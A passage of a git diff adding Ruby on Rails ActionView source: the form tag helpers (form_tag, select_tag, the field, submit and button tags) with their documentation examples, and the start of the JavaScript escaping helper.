+ extend ActiveSupport::Concern
+
+ include UrlHelper
+ include TextHelper
+
+ mattr_accessor :embed_authenticity_token_in_remote_forms
+ self.embed_authenticity_token_in_remote_forms = false
+
+ # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
+ # ActionController::Base#url_for. The method for the form defaults to POST.
+ #
+ # ==== Options
+ # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
+ # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
+ # If "patch", "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
+ # is added to simulate the verb over post.
+ # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
+ # pass custom authenticity token string, or to not add authenticity_token field at all
+ # (by passing <tt>false</tt>). Remote forms may omit the embedded authenticity token
+ # by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+ # This is helpful when you're fragment-caching the form. Remote forms get the
+ # authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
+ # support browsers without JavaScript.
+ # * A list of parameters to feed to the URL the form will be posted to.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+ # submit behavior. By default this behavior is an ajax submit.
+ #
+ # ==== Examples
+ # form_tag('/posts')
+ # # => <form action="/posts" method="post">
+ #
+ # form_tag('/posts/1', method: :put)
+ # # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
+ #
+ # form_tag('/upload', multipart: true)
+ # # => <form action="/upload" method="post" enctype="multipart/form-data">
+ #
+ # <%= form_tag('/posts') do -%>
+ # <div><%= submit_tag 'Save' %></div>
+ # <% end -%>
+ # # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
+ #
+ # <%= form_tag('/posts', remote: true) %>
+ # # => <form action="/posts" method="post" data-remote="true">
+ #
+ # form_tag('http://far.away.com/form', authenticity_token: false)
+ # # form without authenticity token
+ #
+ # form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
+ # # form with custom authenticity token
+ #
+ def form_tag(url_for_options = {}, options = {}, &block)
+ html_options = html_options_for_form(url_for_options, options)
+ if block_given?
+ form_tag_in_block(html_options, &block)
+ else
+ form_tag_html(html_options)
+ end
+ end
+
+ # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
+ # choice selection box.
+ #
+ # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
+ # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
+ #
+ # ==== Options
+ # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:include_blank</tt> - If set to true, an empty option will be create
+ # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name")
+ # # <select id="people" name="people"><option value="1">David</option></select>
+ #
+ # select_tag "people", "<option>David</option>".html_safe
+ # # => <select id="people" name="people"><option>David</option></select>
+ #
+ # select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>".html_safe
+ # # => <select id="count" name="count"><option>1</option><option>2</option>
+ # # <option>3</option><option>4</option></select>
+ #
+ # select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>".html_safe, multiple: true
+ # # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
+ # # <option>Green</option><option>Blue</option></select>
+ #
+ # select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe
+ # # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
+ # # <option>Out</option></select>
+ #
+ # select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input'
+ # # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
+ # # <option>Write</option></select>
+ #
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
+ # # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
+ #
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
+ # # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
+ #
+ # select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, disabled: true
+ # # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
+ # # <option>Paris</option><option>Rome</option></select>
+ #
+ # select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+ # # => <select id="credit_card" name="credit_card"><option>VISA</option>
+ # # <option selected="selected">MasterCard</option></select>
+ def select_tag(name, option_tags = nil, options = {})
+ option_tags ||= ""
+ html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
+
+ if options.delete(:include_blank)
+ option_tags = content_tag(:option, '', :value => '').safe_concat(option_tags)
+ end
+
+ if prompt = options.delete(:prompt)
+ option_tags = content_tag(:option, prompt, :value => '').safe_concat(option_tags)
+ end
+
+ content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+ end
+
+ # Creates a standard text field; use these text fields to input smaller chunks of text like a username
+ # or a search query.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+ # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+ # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # text_field_tag 'name'
+ # # => <input id="name" name="name" type="text" />
+ #
+ # text_field_tag 'query', 'Enter your search query here'
+ # # => <input id="query" name="query" type="text" value="Enter your search query here" />
+ #
+ # text_field_tag 'search', nil, placeholder: 'Enter search term...'
+ # # => <input id="search" name="search" placeholder="Enter search term..." type="text" />
+ #
+ # text_field_tag 'request', nil, class: 'special_input'
+ # # => <input class="special_input" id="request" name="request" type="text" />
+ #
+ # text_field_tag 'address', '', size: 75
+ # # => <input id="address" name="address" size="75" type="text" value="" />
+ #
+ # text_field_tag 'zip', nil, maxlength: 5
+ # # => <input id="zip" maxlength="5" name="zip" type="text" />
+ #
+ # text_field_tag 'payment_amount', '$0.00', disabled: true
+ # # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
+ #
+ # text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
+ # # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
+ def text_field_tag(name, value = nil, options = {})
+ tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+ end
+
+ # Creates a label element. Accepts a block.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # label_tag 'name'
+ # # => <label for="name">Name</label>
+ #
+ # label_tag 'name', 'Your name'
+ # # => <label for="name">Your name</label>
+ #
+ # label_tag 'name', nil, class: 'small_label'
+ # # => <label for="name" class="small_label">Name</label>
+ def label_tag(name = nil, content_or_options = nil, options = nil, &block)
+ if block_given? && content_or_options.is_a?(Hash)
+ options = content_or_options = content_or_options.stringify_keys
+ else
+ options ||= {}
+ options = options.stringify_keys
+ end
+ options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
+ content_tag :label, content_or_options || name.to_s.humanize, options, &block
+ end
+
+ # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
+ # data that should be hidden from the user.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # hidden_field_tag 'tags_list'
+ # # => <input id="tags_list" name="tags_list" type="hidden" />
+ #
+ # hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+ # # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+ #
+ # hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
+ # # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
+ # # type="hidden" value="" />
+ def hidden_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
+ end
+
+ # Creates a file upload field. If you are using file uploads then you will also need
+ # to set the multipart option for the form tag:
+ #
+ # <%= form_tag '/upload', multipart: true do %>
+ # <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+ # <%= submit_tag %>
+ # <% end %>
+ #
+ # The specified URL will then be passed a File object containing the selected file, or if the field
+ # was left blank, a StringIO object.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+ # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+ #
+ # ==== Examples
+ # file_field_tag 'attachment'
+ # # => <input id="attachment" name="attachment" type="file" />
+ #
+ # file_field_tag 'avatar', class: 'profile_input'
+ # # => <input class="profile_input" id="avatar" name="avatar" type="file" />
+ #
+ # file_field_tag 'picture', disabled: true
+ # # => <input disabled="disabled" id="picture" name="picture" type="file" />
+ #
+ # file_field_tag 'resume', value: '~/resume.doc'
+ # # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
+ #
+ # file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
+ # # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
+ #
+ # file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
+ # # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
+ def file_field_tag(name, options = {})
+ text_field_tag(name, nil, options.update("type" => "file"))
+ end
+
+ # Creates a password field, a masked text field that will hide the users input behind a mask character.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+ # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # password_field_tag 'pass'
+ # # => <input id="pass" name="pass" type="password" />
+ #
+ # password_field_tag 'secret', 'Your secret here'
+ # # => <input id="secret" name="secret" type="password" value="Your secret here" />
+ #
+ # password_field_tag 'masked', nil, class: 'masked_input_field'
+ # # => <input class="masked_input_field" id="masked" name="masked" type="password" />
+ #
+ # password_field_tag 'token', '', size: 15
+ # # => <input id="token" name="token" size="15" type="password" value="" />
+ #
+ # password_field_tag 'key', nil, maxlength: 16
+ # # => <input id="key" maxlength="16" name="key" type="password" />
+ #
+ # password_field_tag 'confirm_pass', nil, disabled: true
+ # # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
+ #
+ # password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
+ # # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
+ def password_field_tag(name = "password", value = nil, options = {})
+ text_field_tag(name, value, options.update("type" => "password"))
+ end
+
+ # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+ #
+ # ==== Options
+ # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
+ # * <tt>:rows</tt> - Specify the number of rows in the textarea
+ # * <tt>:cols</tt> - Specify the number of columns in the textarea
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
+ # If you need unescaped contents, set this to false.
+ # * Any other key creates standard HTML attributes for the tag.
+ #
+ # ==== Examples
+ # text_area_tag 'post'
+ # # => <textarea id="post" name="post"></textarea>
+ #
+ # text_area_tag 'bio', @user.bio
+ # # => <textarea id="bio" name="bio">This is my biography.</textarea>
+ #
+ # text_area_tag 'body', nil, rows: 10, cols: 25
+ # # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
+ #
+ # text_area_tag 'body', nil, size: "25x10"
+ # # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
+ #
+ # text_area_tag 'description', "Description goes here.", disabled: true
+ # # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
+ #
+ # text_area_tag 'comment', nil, class: 'comment_input'
+ # # => <textarea class="comment_input" id="comment" name="comment"></textarea>
+ def text_area_tag(name, content = nil, options = {})
+ options = options.stringify_keys
+
+ if size = options.delete("size")
+ options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+ end
+
+ escape = options.delete("escape") { true }
+ content = ERB::Util.html_escape(content) if escape
+
+ content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
+ end
+
+ # Creates a check box form input tag.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Examples
+ # check_box_tag 'accept'
+ # # => <input id="accept" name="accept" type="checkbox" value="1" />
+ #
+ # check_box_tag 'rock', 'rock music'
+ # # => <input id="rock" name="rock" type="checkbox" value="rock music" />
+ #
+ # check_box_tag 'receive_email', 'yes', true
+ # # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
+ #
+ # check_box_tag 'tos', 'yes', false, class: 'accept_tos'
+ # # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
+ #
+ # check_box_tag 'eula', 'accepted', false, disabled: true
+ # # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
+ def check_box_tag(name, value = "1", checked = false, options = {})
+ html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+ html_options["checked"] = "checked" if checked
+ tag :input, html_options
+ end
+
+ # Creates a radio button; use groups of radio buttons named the same to allow users to
+ # select from a group of options.
+ #
+ # ==== Options
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Examples
+ # radio_button_tag 'gender', 'male'
+ # # => <input id="gender_male" name="gender" type="radio" value="male" />
+ #
+ # radio_button_tag 'receive_updates', 'no', true
+ # # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
+ #
+ # radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
+ # # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
+ #
+ # radio_button_tag 'color', "green", true, class: "color_input"
+ # # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
+ def radio_button_tag(name, value, checked = false, options = {})
+ html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
+ html_options["checked"] = "checked" if checked
+ tag :input, html_options
+ end
+
+ # Creates a submit button with the text <tt>value</tt> as the caption.
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
+ # drivers will provide a prompt with the question specified. If the user accepts,
+ # the form is processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
+ # disabled version of the submit button when the form is submitted. This feature is
+ # provided by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # submit_tag
+ # # => <input name="commit" type="submit" value="Save changes" />
+ #
+ # submit_tag "Edit this article"
+ # # => <input name="commit" type="submit" value="Edit this article" />
+ #
+ # submit_tag "Save edits", disabled: true
+ # # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
+ #
+ # submit_tag "Complete sale", data: { disable_with: "Please wait..." }
+ # # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" />
+ #
+ # submit_tag nil, class: "form_submit"
+ # # => <input class="form_submit" name="commit" type="submit" />
+ #
+ # submit_tag "Edit", class: "edit_button"
+ # # => <input class="edit_button" name="commit" type="submit" value="Edit" />
+ #
+ # submit_tag "Save", data: { confirm: "Are you sure?" }
+ # # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />
+ #
+ def submit_tag(value = "Save changes", options = {})
+ options = options.stringify_keys
+
+ if disable_with = options.delete("disable_with")
+ message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { disable_with: \'Text\' }' instead."
+ ActiveSupport::Deprecation.warn message
+
+ options["data-disable-with"] = disable_with
+ end
+
+ if confirm = options.delete("confirm")
+ message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { confirm: \'Text\' }' instead'."
+ ActiveSupport::Deprecation.warn message
+
+ options["data-confirm"] = confirm
+ end
+
+ tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options)
+ end
+
+ # Creates a button element that defines a <tt>submit</tt> button,
+ # <tt>reset</tt>button or a generic button which can be used in
+ # JavaScript, for example. You can use the button tag as a regular
+ # submit tag but it isn't supported in legacy browsers. However,
+ # the button tag allows richer labels such as images and emphasis,
+ # so this helper will also accept a block.
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:disabled</tt> - If true, the user will not be able to
+ # use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - If present, the
+ # unobtrusive JavaScript drivers will provide a prompt with
+ # the question specified. If the user accepts, the form is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # button_tag
+ # # => <button name="button" type="submit">Button</button>
+ #
+ # button_tag(type: 'button') do
+ # content_tag(:strong, 'Ask me!')
+ # end
+ # # => <button name="button" type="button">
+ # # <strong>Ask me!</strong>
+ # # </button>
+ #
+ # button_tag "Checkout", data: { disable_with => "Please wait..." }
+ # # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
+ #
+ def button_tag(content_or_options = nil, options = nil, &block)
+ options = content_or_options if block_given? && content_or_options.is_a?(Hash)
+ options ||= {}
+ options = options.stringify_keys
+
+ if disable_with = options.delete("disable_with")
+ message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { disable_with: \'Text\' }' instead."
+ ActiveSupport::Deprecation.warn message
+
+ options["data-disable-with"] = disable_with
+ end
+
+ if confirm = options.delete("confirm")
+ message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { confirm: \'Text\' }' instead'."
+ ActiveSupport::Deprecation.warn message
+
+ options["data-confirm"] = confirm
+ end
+
+ options.reverse_merge! 'name' => 'button', 'type' => 'submit'
+
+ content_tag :button, content_or_options || 'Button', options, &block
+ end
+
+ # Displays an image which when clicked will submit the form.
+ #
+ # <tt>source</tt> is passed to AssetTagHelper#path_to_image
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - This will add a JavaScript confirm
+ # prompt with the question specified. If the user accepts, the form is
+ # processed normally, otherwise no action is taken.
+ #
+ # ==== Examples
+ # image_submit_tag("login.png")
+ # # => <input alt="Login" src="/images/login.png" type="image" />
+ #
+ # image_submit_tag("purchase.png", disabled: true)
+ # # => <input alt="Purchase" disabled="disabled" src="/images/purchase.png" type="image" />
+ #
+ # image_submit_tag("search.png", class: 'search_button', alt: 'Find')
+ # # => <input alt="Find" class="search_button" src="/images/search.png" type="image" />
+ #
+ # image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
+ # # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
+ #
+ # image_submit_tag("save.png", data: { confirm: "Are you sure?" })
+ # # => <input alt="Save" src="/images/save.png" data-confirm="Are you sure?" type="image" />
+ def image_submit_tag(source, options = {})
+ options = options.stringify_keys
+
+ if confirm = options.delete("confirm")
+ message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { confirm: \'Text\' }' instead'."
+ ActiveSupport::Deprecation.warn message
+
+ options["data-confirm"] = confirm
+ end
+
+ tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
+ end
+
+ # Creates a field set for grouping HTML form elements.
+ #
+ # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
+ # <tt>options</tt> accept the same values as tag.
+ #
+ # ==== Examples
+ # <%= field_set_tag do %>
+ # <p><%= text_field_tag 'name' %></p>
+ # <% end %>
+ # # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+ #
+ # <%= field_set_tag 'Your details' do %>
+ # <p><%= text_field_tag 'name' %></p>
+ # <% end %>
+ # # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
+ #
+ # <%= field_set_tag nil, class: 'format' do %>
+ # <p><%= text_field_tag 'name' %></p>
+ # <% end %>
+ # # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
+ def field_set_tag(legend = nil, options = nil, &block)
+ output = tag(:fieldset, options, true)
+ output.safe_concat(content_tag(:legend, legend)) unless legend.blank?
+ output.concat(capture(&block)) if block_given?
+ output.safe_concat("</fieldset>")
+ end
+
+ # Creates a text field of type "color".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ def color_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
+ end
+
+ # Creates a text field of type "search".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ def search_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "search"))
+ end
+
+ # Creates a text field of type "tel".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ def telephone_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "tel"))
+ end
+ alias phone_field_tag telephone_field_tag
+
+ # Creates a text field of type "date".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ def date_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
+ end
+
+ # Creates a text field of type "time".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def time_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "time"))
+ end
+
+ # Creates a text field of type "datetime".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def datetime_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "datetime"))
+ end
+
+ # Creates a text field of type "datetime-local".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def datetime_local_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "datetime-local"))
+ end
+
+ # Creates a text field of type "month".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def month_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "month"))
+ end
+
+ # Creates a text field of type "week".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def week_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "week"))
+ end
+
+ # Creates a text field of type "url".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ def url_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "url"))
+ end
+
+ # Creates a text field of type "email".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ def email_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.stringify_keys.update("type" => "email"))
+ end
+
+ # Creates a number field.
+ #
+ # ==== Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
+ # <tt>:max</tt> values.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # number_field_tag 'quantity', nil, in: 1...10
+ # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ def number_field_tag(name, value = nil, options = {})
+ options = options.stringify_keys
+ options["type"] ||= "number"
+ if range = options.delete("in") || options.delete("within")
+ options.update("min" => range.min, "max" => range.max)
+ end
+ text_field_tag(name, value, options)
+ end
+
+ # Creates a range form element.
+ #
+ # ==== Options
+ # * Accepts the same options as number_field_tag.
+ def range_field_tag(name, value = nil, options = {})
+ number_field_tag(name, value, options.stringify_keys.update("type" => "range"))
+ end
+
+ # Creates the hidden UTF8 enforcer tag. Override this method in a helper
+ # to customize the tag.
+ def utf8_enforcer_tag
+ tag(:input, :type => "hidden", :name => "utf8", :value => "✓".html_safe)
+ end
+
+ private
+ def html_options_for_form(url_for_options, options)
+ options.stringify_keys.tap do |html_options|
+ html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
+ # The following URL is unescaped, this is just a hash of options, and it is the
+ # responsibility of the caller to escape all the values.
+ html_options["action"] = url_for(url_for_options)
+ html_options["accept-charset"] = "UTF-8"
+
+ html_options["data-remote"] = true if html_options.delete("remote")
+
+ if html_options["data-remote"] &&
+ !embed_authenticity_token_in_remote_forms &&
+ html_options["authenticity_token"].blank?
+ # The authenticity token is taken from the meta tag in this case
+ html_options["authenticity_token"] = false
+ elsif html_options["authenticity_token"] == true
+ # Include the default authenticity_token, which is only generated when its set to nil,
+ # but we needed the true value to override the default of no authenticity_token on data-remote.
+ html_options["authenticity_token"] = nil
+ end
+ end
+ end
+
+ def extra_tags_for_form(html_options)
+ authenticity_token = html_options.delete("authenticity_token")
+ method = html_options.delete("method").to_s
+
+ method_tag = case method
+ when /^get$/i # must be case-insensitive, but can't use downcase as might be nil
+ html_options["method"] = "get"
+ ''
+ when /^post$/i, "", nil
+ html_options["method"] = "post"
+ token_tag(authenticity_token)
+ else
+ html_options["method"] = "post"
+ method_tag(method) + token_tag(authenticity_token)
+ end
+
+ tags = utf8_enforcer_tag << method_tag
+ content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline')
+ end
+
+ def form_tag_html(html_options)
+ extra_tags = extra_tags_for_form(html_options)
+ tag(:form, html_options, true) + extra_tags
+ end
+
+ def form_tag_in_block(html_options, &block)
+ content = capture(&block)
+ output = form_tag_html(html_options)
+ output << content
+ output.safe_concat("</form>")
+ end
+
+ # see http://www.w3.org/TR/html4/types.html#type-name
+ def sanitize_to_id(name)
+ name.to_s.delete(']').gsub(/[^-a-zA-Z0-9:.]/, "_")
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb
new file mode 100644
index 0000000..edff98d
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/javascript_helper.rb
@@ -0,0 +1,117 @@
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+ module Helpers
+ module JavaScriptHelper
+ JS_ESCAPE_MAP = {
+ '\\' => '\\\\',
+ '</' => '<\/',
+ "\r\n" => '\n',
+ "\n" => '\n',
+ "\r" => '\n',
+ '"' => '\\"',
+ "'" => "\\'"
+ }
+
+ JS_ESCAPE_MAP["\342\200\250".force_encoding(Encoding::UTF_8).encode!] = '
'
+ JS_ESCAPE_MAP["\342\200\251".force_encoding(Encoding::UTF_8).encode!] = '
'
+
+ # Escapes carriage returns and single and double quotes for JavaScript segments.
+ #
+ # Also available through the alias j(). This is particularly helpful in JavaScript
+ # responses, like:
+ #
+ # $('some_element').replaceWith('<%=j render 'some/element_template' %>');
+ def escape_javascript(javascript)
+ if javascript
+ result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
+ javascript.html_safe? ? result.html_safe : result
+ else
+ ''
+ end
+ end
+
+ alias_method :j, :escape_javascript
+
+ # Returns a JavaScript tag with the +content+ inside. Example:
+ # javascript_tag "alert('All is good')"
+ #
+ # Returns:
+ # <script>
+ # //<![CDATA[
+ # alert('All is good')
+ # //]]>
+ # </script>
+ #
+ # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
+ # tag.
+ #
+ # javascript_tag "alert('All is good')", defer: 'defer'
+ # # => <script defer="defer">alert('All is good')</script>
+ #
+ # Instead of passing the content as an argument, you can also use a block
+ # in which case, you pass your +html_options+ as the first parameter.
+ #
